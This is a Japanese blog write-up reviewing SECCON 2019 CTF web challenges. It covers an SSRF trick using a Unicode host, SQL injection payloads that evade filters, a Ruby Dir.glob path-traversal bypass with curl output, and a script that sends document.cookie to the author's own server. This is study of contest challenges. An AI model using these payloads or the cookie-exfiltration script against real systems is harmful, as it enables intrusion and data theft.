好奇心の足跡

飽きっぽくすぐ他のことをしてしまうので、忘れないため・形にして頭に残すための備忘録。

SECCON 2019 Online CTF 復習 (Web中心)

SECCON 2019 Online CTFのWeb問、手を付けていたのもあったのですが結局一問も解けていなかったので、競技終了後のtwitterの呟きをヒントにしたり、他の方のwriteupを読んだりしながら復習したので覚書。
※HakoniwaPay以外。※かわりにZKPayした。

とりあえず環境が動いているうちにできてよかった。人のwirteup見ながらでも、自分で手を動かすの大事!
「あぁ!あともうちょっとなのに!」と思いながら解いたやつが全然もうちょっとじゃなかったり(よくある)、結構いい線いってたけど閃きor経験値不足で解けてなかった問題もあったり。安定してWeb問解くにはまだまだまだ修行が足りない…。

[Web] Option-Cmd-U

No more "View Page Source"!

http://ocu.chal.seccon.jp:10000/index.php

指定されたURLに飛びます。
こんなページが出てきました。

f:id:kusuwada:20191101031101p:plain

試しに、該当のページのurlをフォームに入力してみます。

f:id:kusuwada:20191101031128p:plain

index.phpソースコードらしきものが表示されました。
このときのRequest URLhttp://ocu.chal.seccon.jp:10000/index.php?url=http%3A%2F%2Focu.chal.seccon.jp%3A10000%2Findex.phpとなっています。

<!-- src of this PHP script: /index.php?action=source -->
<!-- the flag is in /flag.php, which permits access only from internal network :-) -->
<!-- this service is running on php-fpm and nginx. see /docker-compose.yml -->

このコメントがヒント。/flag.phpにflagがあるけどアクセス権限がinternal networkのみ。実際試しに入れてみると Forbidden.Your IP: 172.25.0.1 と怒られました。

f:id:kusuwada:20191101031149p:plain

ちなみに、/docker-compose.yml を入力するとこんな感じ。

version: '3'

services:
  nginx:
    (...ommitted...)
  php-fpm:
    (...ommitted...

省略されてしまっていますが、nginxとphp-fpmを使っていることは確かなようです。

また、 src of this PHP script: /index.php?action=source の部分について。urlに直接これを入れるとソースコードが出てくるみたい。

http://ocu.chal.seccon.jp:10000/index.php?action=source

<?php
if ($_GET['action'] === "source"){
    highlight_file(__FILE__);
    die();
}
?>
<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <title>Option-Cmd-U</title>
        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bulma/0.7.5/css/bulma.min.css">
        <script defer src="https://use.fontawesome.com/releases/v5.3.1/js/all.js"></script>
    </head>
    <body>
        <div class="container">                
            <section class="hero">
                <div class="hero-body">
                    <div class="container">
                        <h1 class="title has-text-centered has-text-weight-bold">
                            Option-Cmd-U
                        </h1>
                        <h2 class="subtitle has-text-centered">
                            "View Page Source" is no longer required! Let's view page source online :-)
                        </h2>
                        <form method="GET">
                            <div class="field has-addons">
                                <div class="control is-expanded">
                                    <input class="input" type="text" placeholder="URL (e.g. http://example.com)" name="url" value="<?= htmlspecialchars($_GET['url'], ENT_QUOTES, 'UTF-8') ?>">
                                </div>
                                <div class="control">
                                    <button class="button is-link">Submit</button>
                                </div>
                            </div>
                        </form>
                    </div>
                </div>
            </section>
            <section class="section">
                <pre>
                    <!-- src of this PHP script: /index.php?action=source -->
                    <!-- the flag is in /flag.php, which permits access only from internal network :-) -->
                    <!-- this service is running on php-fpm and nginx. see /docker-compose.yml -->
                    <?php
                    if (isset($_GET['url'])){
                        $url = filter_input(INPUT_GET, 'url');
                        $parsed_url = parse_url($url);                        
                        if($parsed_url["scheme"] !== "http"){
                            // only http: should be allowed. 
                            echo 'URL should start with http!';
                        } else if (gethostbyname(idn_to_ascii($parsed_url["host"], 0, INTL_IDNA_VARIANT_UTS46)) === gethostbyname("nginx")) {
                            // local access to nginx from php-fpm should be blocked.
                            echo 'Oops, are you a robot or an attacker?';
                        } else {
                            // file_get_contents needs idn_to_ascii(): https://stackoverflow.com/questions/40663425/
                            highlight_string(file_get_contents(idn_to_ascii($url, 0, INTL_IDNA_VARIANT_UTS46),
                                                               false,
                                                               stream_context_create(array(
                                                                   'http' => array(
                                                                       'follow_location' => false,
                                                                       'timeout' => 2
                                                                   )
                                                               ))));
                        }
                    }
                    ?>
                </pre>
            </section>
        </div>            
    </body>
</html>

最後の方に、アクセス制限について書いてあります。

// only http: should be allowed.

// local access to nginx from php-fpm should be blocked.

// file_get_contents needs idn_to_ascii(): https://stackoverflow.com/questions/40663425/

あと分かる情報は、エラーメッセージから、localのpathは/var/www/web/index.php
nginxの設定ファイルが置かれていそうな、/etc/nginx/nginx.conf/etc/php-fpm.d/www.conf, /etc/php-fpm.confを見てみたい。と思ってdirectory traversalできないかやってみる。

* http://ocu.chal.seccon.jp:10000/../../../etc/nginx/nginx.conf
* http://ocu.chal.seccon.jp:10000/../../../etc/php-fpm.d/www.conf
* http://ocu.chal.seccon.jp:10000/../../../etc/php-fpm.conf

普通の相対パス指定は Warning: file_get_contents(): Filename cannot be empty in /var/www/web/index.php on line 60 と怒られてしまいます。
他にも、cheetsheetを参考に色々試してみましたができませんでした。そもそもGOALが見えてません...。

方針としては、IPアドレスを偽装して内部からのアクセスだよーと思わせることができればflag.phpを見せてくれそう。※ただしphp-fpmのアドレスはNG。
さっき怒られた172.25.0.1php-fpm serverのIPっぽいので、近いアドレスで試してみようかな?
というところでタイムアップ。

他の方のwriteupを見てみると、いくつか解き方がありそう。

ipアドレス何とかするバージョン

想定解っぽいの

その他

勉強になります。ありがとうございます!

ipアドレス何とかするバージョンはこんな感じ。

http://{ipaddr}/flag.phpをリクエストフォームに入れて送っていくと、172.25.0.3のときにOops, are you a robot or an attacker?と言われます。これがnginxのアドレス。

あとは DNS Rebinding をしてアクセスを試みます。

参考

これはドメイン持ってないと厳しそう…。そろそろドメイン買うか…?
DNSを書き換えたら

http://{自分のドメイン}/flag.php をフォームに入れて攻撃完了。

一方、想定解っぽいのは

Host/Split: Exploitable Antipatterns in Unicode Normalization

というBlackHat2019で発表された鮮度高めの手法だったようです。以下を入れるだけで攻撃完了。

http://nginx/flag.php

f:id:kusuwada:20191101031902p:plain

ちゃんとHost/Split論文頭からお尻まで読んで理解したいが、斜め読みした感じだと みたいな Unicode が host に入力されたとき、エンコード処理次第ではこれが a/c に変換され、URL security filter を回避することができるぞ、というもの。同じような話をどこかで聞いたことがあるので、もしかしたら +α 新しい話があるのかもしれない。

http://a.com/X.b.com In this string, the “/” character is the “Full-Width Solidus” character (U+FF0F). For this test, a wildcard DNS record should be created that directs all subdomains of “b.com” to the same server. Software that is provided this URL and which is vulnerable to HostSplit will attempt to make a request to “a.com” for a file named “X.b.com”. Software that is not vulnerable will either not attempt to make a request or will instead attempt a request to a Punycode subdomain of “b.com”.

このあたりから、攻撃を思いついたら良かったのかな?

Get a hidden message! Let's find a hidden message using the search system on the site.

http://web-search.chal.seccon.jp/

指定のurlに飛んでみるとこんな感じ。 

f:id:kusuwada:20191101031925p:plain

RFC番号と一行解説のリストが。

' を入れてみると Error との出力。'--と入れても同じ。'#と入れてみると何事もなかったように全件出てきました。これはSQL injectionで行けるかな?

いろいろ試してみましたが、OR||, ,, &&,半角スペース などの文字列は削除されてしまうようです。

[input] ' OR 1=1#
[output query] '1=1#
[output result] Error

半角スペースまで削除されてしまうのは困るなぁ…。CHAR()を使ってつなげるという手法が有り得そうなので試してみます。

'CHAR(32)CHAR(79)CHAR(82)CHAR(32)1=1;#
-> ERROR
'CHAR(35)
-> ERROR

うーーん、CHAR()は使えないかも。

色々探してみると、
【2018年】CTF Web問題のwriteupぜんぶ読む - こんとろーるしーこんとろーるぶい > 1位:SQL Injection (SQLi)【44問】 > 3. スペースを使用しないSQL Injection

より、スペースが使えない時に()でバイパスする方法!これ読んでたのに忘れてたよ!

'or(1=1)#

あ、orも禁止されてるんだった…。

'HAVING(1=1);# 
'HAVING+1=1;#  
'HAVING/**/1=1#

この辺のクエリが通るので、スペースは((), +, /**/)で回避できそう。※途中で+が使えないことがあったので、今回はほぼ /**/ でおきかえ。

PayloadsAllTheThings/SQL Injection at master · swisskyrepo/PayloadsAllTheThings · GitHub

このページに SQL injection のテクニックが結構詰まっているのを発見。No Comma の章にcommaが使えないときの回避法も載っています。
今回の収穫はこのrepositoryを掘り当てたこと…!Star1万以上付いてるから、超有名repoなのかな?知らなかった…。
しかしどうにもORが回避できない。OR を使わないクエリを組み立てるのを試行錯誤してみたりしましたが、ここで時間切れ。

他の方のTwitterでのつぶやきで、ORはOORRで行けることを知る(;゚д゚) ・・・
フィルタ回避方法は経験値を積めば閃くようになるんだろうか?頭が硬かったなー。

'OORR/**/1=1#

を入力すると、'OR/**/1=1# と整形され、何やらFlagっぽいのが出てきました!これが!したかったっ…!

FLAG
The flag is "SECCON{Yeah_Sqli_Success_" ... well, the rest of flag is in "flag" table. Try more!

flagtableにあると教えてもらったので、flagtableを探します。

SECCON for Beginners CTF 2019 の Ramen と同じ方法。

まずはテーブルの列数を調べます。Commaのフィルタ回避については、上記のサイトを参考に下記のように変換します。

SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
テーブルの列数を調べる
[original 2列]
'union select null, null
[avoid_filter 2列]
'union/**/select/**/*/**/from(select/**/null)a/**/join(select/**/null)b#
-> ERROR

[original 3列]
'union select null, null, null
[avoid_filter 3列]
'union/**/select/**/*/**/from(select/**/null)a/**/join(select/**/null)b/**/join(select/**/null)c#
-> ERRORにならない!

ということで、列数は3っぽい。あとは、flagテーブルのカラム名を調べます。

[original]
'union select column_name, null, null from information_schema.columns where table_name='flag'#
[avoid_filter]
'union/**/select/**/*/**/from(select/**/column_name/**/from/**/infoorrmation_schema.columns/**/where/**/table_name='flag')a/**/join(select/**/null)b/**/join(select/**/null)c;#

informationorが含まれていることに注意です。ここもoorrにする必要があります。
これを入れると、カラム名 piece が出てきました。

f:id:kusuwada:20191101032031p:plain

最後に、`flag`テーブルのカラムを抜き出して表示してもらいます。

[original]
'union select piece, null, null from flag#
[avoid_filter]
'union/**/select/**/*/**/from(select/**/piece/**/from/**/flag)a/**/join(select/**/null)b/**/join(select/**/null)c;#

出てきました!

f:id:kusuwada:20191101032054p:plain

You_Win_Yeah}

前半のと合わせて

flag: SECCON{Yeah_Sqli_Success_You_Win_Yeah}

これは取りたかったなぁ。。。面白かった(〃❛ᴗ❛〃) 

[Web] fileserver

I donno apache or nginx things well, I guess I can implement one for myself though. See? It's easy! http://fileserver.chal.seccon.jp:9292/public/index.html

Due to maintainability, we restart the server of fileserver challenge every 5 minutes.

指定のurlにアクセスしてみるとこんなページ。

f:id:kusuwada:20191101032117p:plain

文字がシュンシュン動いています。
そういえばURLの構成が /public/index.html で、なんか怪しそう。問題タイトルも fileserver だし…。
ということで、 http://fileserver.chal.seccon.jp:9292/ にアクセスしてみると、ちょっと時間がかかりますがこんなページが出てきました。

f:id:kusuwada:20191101032138p:plain

ディレクトリが見えているようです!!

あとはこのページの説明より、WEBrick 1.5.0, ruby 2.6.5 を使用していることもわかります。./Gemfile, Gemfile.lockを見てもわかるんですけど。
ここで ./app.rbソースコードが入手できます。

require 'erb'
require 'webrick'
require 'fileutils'
require 'securerandom'

include WEBrick::HTTPStatus

FileUtils.rm_rf('/tmp/flags')
FileUtils.mkdir_p('/tmp/flags')
FileUtils.cp('flag.txt', "/tmp/flags/#{SecureRandom.alphanumeric(32)}.txt")
FileUtils.rm('flag.txt')

server = WEBrick::HTTPServer.new Port: 9292

def is_bad_path(path)
  bad_char = nil

  %w(* ? [ { \\).each do |char|
    if path.include? char
      bad_char = char
      break
    end
  end

  if bad_char.nil?
    false
  else
    # check if brackets are paired
    if bad_char == ?{
      path[path.index(bad_char)..].include? ?}
    elsif bad_char == ?[
      path[path.index(bad_char)..].include? ?]
    else
      true
    end
  end
end

server.mount_proc '/' do |req, res|
  raise BadRequest if is_bad_path(req.path)

  if req.path.end_with? '/'
    if req.path.include? '.'
      raise BadRequest
    end

    files = Dir.glob(".#{req.path}*")
    res['Content-Type'] = 'text/html'
    res.body = ERB.new(File.read('index.html.erb')).result(binding)
    next
  end

  matches = Dir.glob(req.path[1..])

  if matches.empty?
    raise NotFound
  end

  begin
    file = File.open(matches.first, 'rb')
    res['Content-Type'] = server.config[:MimeTypes][File.extname(req.path)[1..]]
    res.body = file.read(1e6)
  rescue Errno::EISDIR => e
    res.set_redirect(MovedPermanently, req.path + '/')
  end
end

trap 'INT' do server.shutdown end

server.start

ここで注目すべきは、最初のほうのflag.txtに関する行。

FileUtils.rm_rf('/tmp/flags')
FileUtils.mkdir_p('/tmp/flags')
FileUtils.cp('flag.txt', "/tmp/flags/#{SecureRandom.alphanumeric(32)}.txt")
FileUtils.rm('flag.txt')

SecureRandom.alphanumeric(n)SecureRandom.alphanumeric (Ruby 2.7.0 リファレンスマニュアル) より、ランダムなn桁の英数字を返すので、/tmp/flags/にある32桁の英数字名のtxtファイルがflagっぽいです。

下記の部分を見てみると

  if req.path.end_with? '/'
    if req.path.include? '.'
      raise BadRequest
    end

    files = Dir.glob(".#{req.path}*")
    res['Content-Type'] = 'text/html'
    res.body = ERB.new(File.read('index.html.erb')).result(binding)
    next

pathが/で終わっていて、かつ.が含まれていない場合は、そのdirectoryのファイル一覧を返してくれるみたいです。
ということは、//tmp/flags/をpathで指定できれば、flagsディレクトリのファイル一覧が出てきそうです。
しかし .がpathに含まれているとだめなので、../../ みたいなのがそのまま使えないみたい。。。また、files = Dir.glob(".#{req.path}*")という記述のため、いきなり/から始める書き方もできません。

試行錯誤のメモ
先程 SQL Injection でお世話になったページの、Directory Traversal の項 PayloadsAllTheThings/Directory Traversal at master · swisskyrepo/PayloadsAllTheThings · GitHub を見ながら、../の置き換えをいくつか実験してみました。(この取り組みは見当違いだった様子。そもそもfilse = Dir.glob(".#{req.path}*")なので.が強制的に先頭に入っている)

$ curl http://fileserver.chal.seccon.jp:9292/../../tmp/flags/
<!DOCTYPE html>
<meta charset="utf8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Fileserver</title>
<link rel="stylesheet" href="https://unpkg.com/bulmaswatch/cerulean/bulmaswatch.min.css">
<section class="section">
  <div class="container">
    <h1 class="title">Index of /tmp/flags/</h1>
    <div class="list is-hoverable">
      
    </div>
    <hr>
    <span class="is-italic">WEBrick/1.5.0 (Ruby/2.6.5/2019-10-01) Server at fileserver.chal.seccon.jp:9292</span>
  </div>

↑回避なしだと、../../が消されています

  • ../../tmp/flags/ -> /tmp/flags
  • %2e%2e/%2e%2e/tmp/flags/ -> Bad Request
  • %2e%2e%2f%2e%2e%2f/tmp/flags/ -> Bad Request
  • %252e%252e%252f%252e%252e%252f/tmp/flags/ -> Index of /%2e%2e%2f%2e%2e%2f/tmp/flags
  • %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af/tmp/flags/ -> Index of /????????????/tmp/flags/
  • %uff0e%uff0e%u2215%uff0e%uff0e%u2215/tmp/flags/ -> Bad Request

うーん??

と、ここでタイムアップ。

下記のwriteupを見ると、Dir.glob 関数の穴を使うっぽい。

class Dir (Ruby 2.7.0 リファレンスマニュアル) より、

[PARAM] pattern:

パターンを文字列で指定します。 パターンを "\0" で区切って 1 度に複数のパターンを指定することもで きます。 パターンの区切りには "\0" のみ指定できます。 配列を指定することで複数のパターンを指定できます。

ということは、\0/tmp/flags/ とすると、.//tmp/flags という風に解釈してくれるってこと?
ここで\0はヌル文字を意味し、こちらによると

URL中に(特にユーザ入力由来の)ヌル文字が現れる場合は%00で置き換えられる

とのこと。ということで、%00/tmp/flags/にアクセスしてみます。

$ curl http://fileserver.chal.seccon.jp:9292/%00/tmp/flags/
<!DOCTYPE html>
<meta charset="utf8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Fileserver</title>
<link rel="stylesheet" href="https://unpkg.com/bulmaswatch/cerulean/bulmaswatch.min.css">
<section class="section">
  <div class="container">
    <h1 class="title">Index of /%2e%2e/tmp/flags/</h1>
    <div class="list is-hoverable">
      
        <a class="list-item" href="//tmp/flags/paVLrTEqMcrf0yX6ViT2ekTV5Qug6XHv.txt">/tmp/flags/paVLrTEqMcrf0yX6ViT2ekTV5Qug6XHv.txt</a>
      
    </div>
    <hr>
    <span class="is-italic">WEBrick/1.5.0 (Ruby/2.6.5/2019-10-01) Server at fileserver.chal.seccon.jp:9292</span>
  </div>

おお!それっぽいtxtファイルが発見されました!!paVLrTEqMcrf0yX6ViT2ekTV5Qug6XHv.txt、ちゃんと32桁のalphanumericなので、これがflag.txtのコピーっぽいです。
今度はこのファイルを読みたいので、先程のソースの先 matches = Dir.glob(req.path[1..]) でとってきてもらいたい。req.pathにはhost/a/bにアクセスすると/a/bが入ってくるのですが、今回先頭の一文字目がカットされてしまうので /tmp/flags/hoge.txt と指定しても tmp/flags/hoge.txt を探しに行ってしまいます。更に、//tmpa/tmp としても NotFound が返ってきます。

ということで、今度は class Dir (Ruby 2.7.0 リファレンスマニュアル)

{ }

コンマで区切られた文字列の組合せに展開します。例えば、 foo{a,b,c} は fooa, foob, fooc に展開されそれぞれに対してマッチ判定を行います。

を使って

{てきとう,/tmp/flags/paVLrTEqMcrf0yX6ViT2ekTV5Qug6XHv.txt}

を入れてあげると、先程と同じように回避できそう。

しかしここでまたfilterが。is_bad_path()のチェックで、*,?,[,{,\\が含まれている場合は、Bad Requestになってしまいます。{が使えない!

でもこの is_bad_path()の関数、なんとなくスマートじゃない書き方な気がします。前半ではカッコの始まりしか見てなくて、カッコ({,[)があったときのみペアになる終端(},])が存在するかを確認しています。そもそも bad_char = char で一つ見つかったらbreakしちゃってるので、* ? [ { \\ の順に評価し、最初に引っかかるものがあったら他は評価しないようになっています…。

ということで、{が評価される前の bad_char 対象の記号をてきとうのところに入れてあげることで、{の評価自体は回避できそうです。更に [ を入れてあげると、閉じなくていいので終端チェックにも引っかからずに false が返りそう。

[oridinal]
{[,/tmp/flags/paVLrTEqMcrf0yX6ViT2ekTV5Qug6XHv.txt}
[url encoded]
%7B%5B%2C%2Ftmp%2Fflags%2FpaVLrTEqMcrf0yX6ViT2ekTV5Qug6XHv.txt%7D

上記の url encode した文字列を送ってみます。

$ curl fileserver.chal.seccon.jp:9292/%7B%5B%2C%2Ftmp%2Fflags%2FpaVLrTEqMcrf0yX6ViT2ekTV5Qug6XHv.txt%7D
SECCON{You_are_the_Globbin'_Slayer}

おぉぉ、出ました!Dir.globを深堀りしよう、ここを突こう、という発想が復習していても全くわかなかったので、時間があっても解けなかったと思いますが、とても勉強になりました(๑❛ᴗ❛๑)

[Web] HakoniwaPay (着手せず)

ZIP-Password: notvirus

  • hakoniwaPay.zip
  • buttons.png

なんと、サイトが存在しないWeb問。そしてまた〇〇Pay。
buttons.pngには

If you can take 7777 yen from me, I will give you a FLAG.

というメッセージが @ymzkei5 から来ています。機能としてはRead QR Code, SettingsSend Money, Request Money, Send QR Codeがあるみたい。

そしてHakoniwaシリーズ、やっぱり.exeファイルだった…orz
SECCON恒例、箱庭シリーズ。2015の時は後追いで頑張ってやってみたものの、mac only勢には環境準備が厳しいので今回は見送ります…。新しいマシンにもwine入れておかなきゃ。wine入れるだけじゃCTFは厳しいけど。

[Web] SPA

Last day my colleague taught me the concept of the Single-Page Application, which seems to be the good point to kickstart my web application development. Well, now it turned out to be MARVELOUS!

http://spa.chal.seccon.jp:18364/

Steal the cookie.

指定のサイトにアクセスするとこんなページ。かっこいい!

f:id:kusuwada:20191101032233p:plain

各年のSECCON Online の問題の flag たちが出てくるようです。

f:id:kusuwada:20191101032249p:plain

今年のページにアクセスしてみると、このSPA問題だけ枠がありました。

f:id:kusuwada:20191101032302p:plain

このflag情報をなんとか取得する問題なのかな?と思いつつ、次。
Adminへ報告する機能もあるみたいです。

f:id:kusuwada:20191101032337p:plain

試しに報告してみると、 http://spa.chal.seccon.jp:18364/query のurlで Okay! I got it :-) というメッセージが表示されるのみでした。

この報告先を自分で用意したendpoint (以下{$kusuwada.com})にしてみると、adminがアクセスしに来てくれます。

[Request Header]
{
  "upgrade-insecure-requests": "1",
  "user-agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/79.0.3941.4 Safari/537.36",
  "sec-fetch-user": "?1",
  "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
  "sec-fetch-site": "none",
  "sec-fetch-mode": "navigate",
  "accept-encoding": "gzip, deflate, br"
}

うーん、request path と request header くらいしか取れないなぁ。UserAgentがHeadlessChromeなことくらいしか有益そうな情報がない…。

問題文に

Steal the cookie.

とあるので、この機能でadminがcookieを私のサーバーに送りつけてくれないか考えてみます。

{自分で用意したエンドポイント}/test

<!DOCTYPE html>
<html>
<head>
<title>attack</title>
</head>
<body>
<script>document.write("<img src='{自分で用意したエンドポイント}/test2?c=" + document.cookie + ">'")</script>
</body>
</html>

こんなサイトを用意して待ち構えてみると、当たり前ですが取得できるcookieは自分のサイトのドメインのもののみなので空で入ってきます。http://spa.chal.seccon.jp:ドメインcookieがほしいのじゃ…!

ここでタイムアップ。他の方のwriteupを読みながら再現してみる。方針としては間違っていなかったみたいだけど、最後にちょいと使うだけで、adminのcookieを送らせる方法を見るけるのが難しかったみたい。時間があってもこれは絶対解けなかったな…。

#SECCON 2019 Online 「Tanuki」「Crazy Repetition of Codes」「fileserver」「SPA」の解説と講評のようなもの - 博多電光

まず、出題者の解説があったので見てみましたが、素人過ぎるためさっぱりわからん。

まず、SPAって何?というところのおさらいから、今回のページがVueで書かれているらしいというところまで確認します。

ページのソースはこちら

<!DOCTYPE html>
<html lang="en" dir="ltr">
    <head>
       <meta charset="utf-8">
       <meta name="viewport" content="width=device-width, initial-scale=1">
       <title>SECCON Flag Archives</title>
       <link rel="stylesheet" href="https://unpkg.com/bulmaswatch/nuclear/bulmaswatch.min.css">
       <link rel="icon" type="image/png" href="/favicon.png" />
       <style>
            .container {
                padding: .75rem;
            }
            .contest-title {
                margin-top: 1rem;
            }
            .contest-list > .title {
                font-size: 12vmin;
            }
            .title.padded {
                margin-top: 3rem;
            }
            .contest {
                display: block;
                padding: 0.5rem;
            }
            .contest-name {
                margin-bottom: 0 !important;
            }
            .flag {
                font-family: monospace;
                font-size: 1.6rem;
                word-break: break-all;
            }
            .flag-shaken {
                animation: shake 0.3s linear infinite;
                display: inline-block;
                color: #444;
            }
            .flag-shaken:nth-child(3n) { animation-delay: -0.05s; }
            .flag-shaken:nth-child(3n+1) { animation-delay: -0.15s; }
            @keyframes shake {
                0% { transform: translate(0px, 0px) rotateZ(0deg) }
                10% { transform: translate(4px, 4px) rotateZ(4deg) }
                20% { transform: translate(0px, 4px) rotateZ(0deg) }
                30% { transform: translate(4px, 0px) rotateZ(-4deg) }
                40% { transform: translate(0px, 0px) rotateZ(0deg) }
                50% { transform: translate(4px, 4px) rotateZ(4deg) }
                60% { transform: translate(0px, 0px) rotateZ(0deg) }
                70% { transform: translate(4px, 0px) rotateZ(-4deg) }
                80% { transform: translate(0px, 4px) rotateZ(0deg) }
                90% { transform: translate(4px, 4px) rotateZ(-4deg) }
                100% { transform: translate(0px, 0px) rotateZ(0deg) }
            }
        </style>
   </head>
    <body>
        <div id="app">
            <nav class="navbar is-light" role="navigation" aria-label="main navigation">
                <div class="navbar-brand">
                    <a class="navbar-item" @click="goHome()">SECCON Flag Archives</a>
                    <a
                        role="button"
                        class="navbar-burger burger"
                        aria-label="menu"
                        aria-expanded="false"
                        @click="isActive = !isActive"
                    >
                        <span aria-hidden="true"></span>
                        <span aria-hidden="true"></span>
                        <span aria-hidden="true"></span>
                    </a>
                </div>
                <div class="navbar-menu" :class="{'is-active': isActive}">
                    <div class="navbar-start">
                        <a class="navbar-item" @click="goHome()">
                            Home
                        </a>
                        <a v-for="contest in contests" :key="contest.id" class="navbar-item" @click="goContest(contest.id)">
                            {{contest.name}}
                        </a>
                    </div>
                </div>
            </nav>
            <div v-if="route === 'home'" class="container">
                <div class="contest-list">
                    <h1 class="title padded has-text-success has-text-centered">SECCON Flag Archives</h1>
                    <h2 class="subtitle has-text-centered has-text-grey-light">Complete list of the golden flags that appeared in the past SECCON CTFs</h2>
                    <div class="columns">
                        <div v-for="contest in contests" :key="contest.id" class="column">
                            <a @click="goContest(contest.id)" class="contest has-background-success has-text-centered">
                                <div class="title has-text-light contest-name is-size-3">{{contest.name}}</div>
                                <div class="title has-text-light is-size-6">{{contest.count}} flags</div>
                            </a>
                        </div>
                    </div>
                    <div class="has-text-centered">
                        <a @click="goReport()" class="subtitle has-text-success">
                            Report Admin
                        </a>
                    </div>
                </div>
            </div>
            <div v-else-if="route === 'report'" class="container has-text-centered">
                <h1 class="title padded has-text-success is-size-1">Report Admin</h1>
                <h2 class="subtitle has-text-grey-light">
                    If you found any glitches on this website, fill in the following form to report them.<br>
                    The URL will be reviewed and the administrator will check it.
                </h2>
                <form action="/query" target="_blank" method="POST">
                    <label class="label">URL</label>
                    <div class="field has-addons">
                        <div class="control is-expanded">
                            <input class="input" type="url" name="url" placeholder="http://spa.chal.seccon.jp:18364/*****">
                        </div>
                        <div class="control">
                            <button class="button is-link" type="submit">Submit</button>
                        </div>
                    </div>
                </form>
            </div>
            <div v-else-if="route === 'contest'" class="container">
                <progress v-if="isLoading" class="progress is-small is-primary" max="100"></progress>
                <p class="title contest-title has-text-centered is-size-1">{{name}}</p>
                <p class="subtitle has-text-centered is-size-3">{{start}} - {{end}}</p>
                <div class="columns is-centered">
                    <div
                        v-for="(link, title) in contest.links"
                        class="column is-narrow has-text-centered"
                    >
                        <a
                            class="button"
                            :href="link"
                            target="_blank"
                        >
                            {{title}}
                        </a>
                    </div>
                </div>
                <p class="subtitle is-size-5 has-text-centered">{{flagCount}}</p>
                <div class="columns is-multiline">
                    <div v-for="{genre, name, point, flag} in flags" :key="name" class="column is-half is-info">
                        <div class="card">
                            <div class="card-content">
                                <div class="content">
                                    <p class="title">
                                        {{name}}
                                        <span v-if="point !== null">
                                            <span v-if="point <= 100" class="tag is-light">
                                                {{point}}pts
                                            </span>
                                            <span v-else-if="point <= 200" class="tag is-success">
                                                {{point}}pts
                                            </span>
                                            <span v-else-if="point <= 300" class="tag is-link">
                                                {{point}}pts
                                            </span>
                                            <span v-else-if="point <= 400" class="tag is-warning">
                                                {{point}}pts
                                            </span>
                                            <span v-else class="tag is-danger">
                                                {{point}}pts
                                            </span>
                                        </span>
                                    </p>
                                    <p class="flag">
                                        <span v-if="flag === null">
                                            <span v-for="i in 10" :key="i" class="flag-shaken">?</span>
                                        </span>
                                        <span v-else>
                                            {{flag}}
                                        </span>
                                    </p>
                                    <p class="has-text-right is-size-5" :style="{color: getGenreColor(genre)}">
                                        {{genre}}
                                    </p>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <script src="https://cdn.jsdelivr.net/npm/vue@2.6.10"></script>
        <script src="https://code.jquery.com/jquery-3.4.1.min.js"></script>
        <script>
           const genreColors = new Map([
               ['crypto', '#689F38'],
               ['forensic', '#FF8F00'],
               ['forensics', '#FF8F00'],
               ['pwn', '#D32F2F'],
               ['media', '#9C27B0'],
               ['reversing', '#42A5F5'],
               ['web', '#558B2F'],
               ['binary', '#F57F17'],
               ['programming', '#5D4037'],
               ['exploit', '#1565C0'],
               ['excercise', '#558B2F'],
               ['stegano', '#424242'],
               ['unknown', '#777777'],
           ]);

           const getGenreColor = (genre) => {
               const normalized = genre.split('/')[0].toLowerCase();

               if (genreColors.has(normalized)) {
                   return genreColors.get(normalized);
               }

               return '#777';
           };

           new Vue({
               el: '#app',
               data() {
                   return {
                       isLoading: true,
                       isActive: false,
                       route: 'home',
                       contest: {},
                       contests: [],
                       contestId: null,
                   };
               },
               computed: {
                   flagCount() {
                       if (this.contest.flags === undefined) {
                           return 'No flags';
                       }
                       if (this.contest.flags.length === 1) {
                           return '1 flag';
                       }
                       return `${this.contest.flags.length} flags`;
                   },
                   name() {
                       return this.contest.name || location.hash.slice(1);
                   },
                   flags() {
                       return this.contest.flags;
                   },
                   start() {
                       if (this.contest.date === undefined) {
                           return '---';
                       }
                       return new Date(this.contest.date.start).toLocaleString();
                   },
                   end() {
                       if (this.contest.date === undefined) {
                           return '---';
                       }
                       return new Date(this.contest.date.end).toLocaleString();
                   },
               },
               async mounted() {
                   addEventListener('hashchange', this.onHashChange);

                   await this.onHashChange();
                   await this.fetchContests();

                   this.isLoading = false;
               },
               methods: {
                   async fetchContest(contestId) {
                       this.contest = await $.getJSON(`/${contestId}.json`)
                   },
                   async fetchContests() {
                       this.contests = await $.getJSON('/contests.json')
                   },
                   async onHashChange() {
                       const contestId = location.hash.slice(1);
                       if (contestId) {
                           if (contestId === 'report') {
                               this.goReport();
                           } else {
                               await this.goContest(contestId);
                           }
                       } else {
                           this.goHome();
                       }
                   },
                   async goContest(contestId) {
                       location.hash = `#${contestId}`
                       this.route = 'contest';
                       this.contestId = contestId;
                       this.isLoading = true;
                       this.isActive = false;

                       await this.fetchContest(contestId);

                       this.isLoading = false;
                   },
                   goHome() {
                       location.hash = '';
                       this.route = 'home';
                       this.contestId = null;
                       this.contest = {};
                       this.isActive = false;
                   },
                   goReport() {
                       location.hash = '#report';
                       this.route = 'report';
                       this.contestId = null;
                       this.contest = {};
                       this.isActive = false;
                   },
                   getGenreColor(genre) {
                       return getGenreColor(genre);
                   },
                   getDateString(date) {
                       const d = new Date(date.seconds * 1000);
                       return d.toISOString().split('T')[0];
                   },
                   getDateStringJa(date) {
                       const d = new Date(date.seconds * 1000);
                       return `${d.getFullYear()}/${d.getMonth() + 1}/${d.getDate()}`;
                   },
               },
               head() {
                   return {
                       title: `${this.contestId} - SECCON Flags Archive`,
                   };
               },
           });
       </script>
    </body>
</html>

<script src="https://cdn.jsdelivr.net/npm/vue@2.6.10"></script>

から vue で書かれていることがわかります。
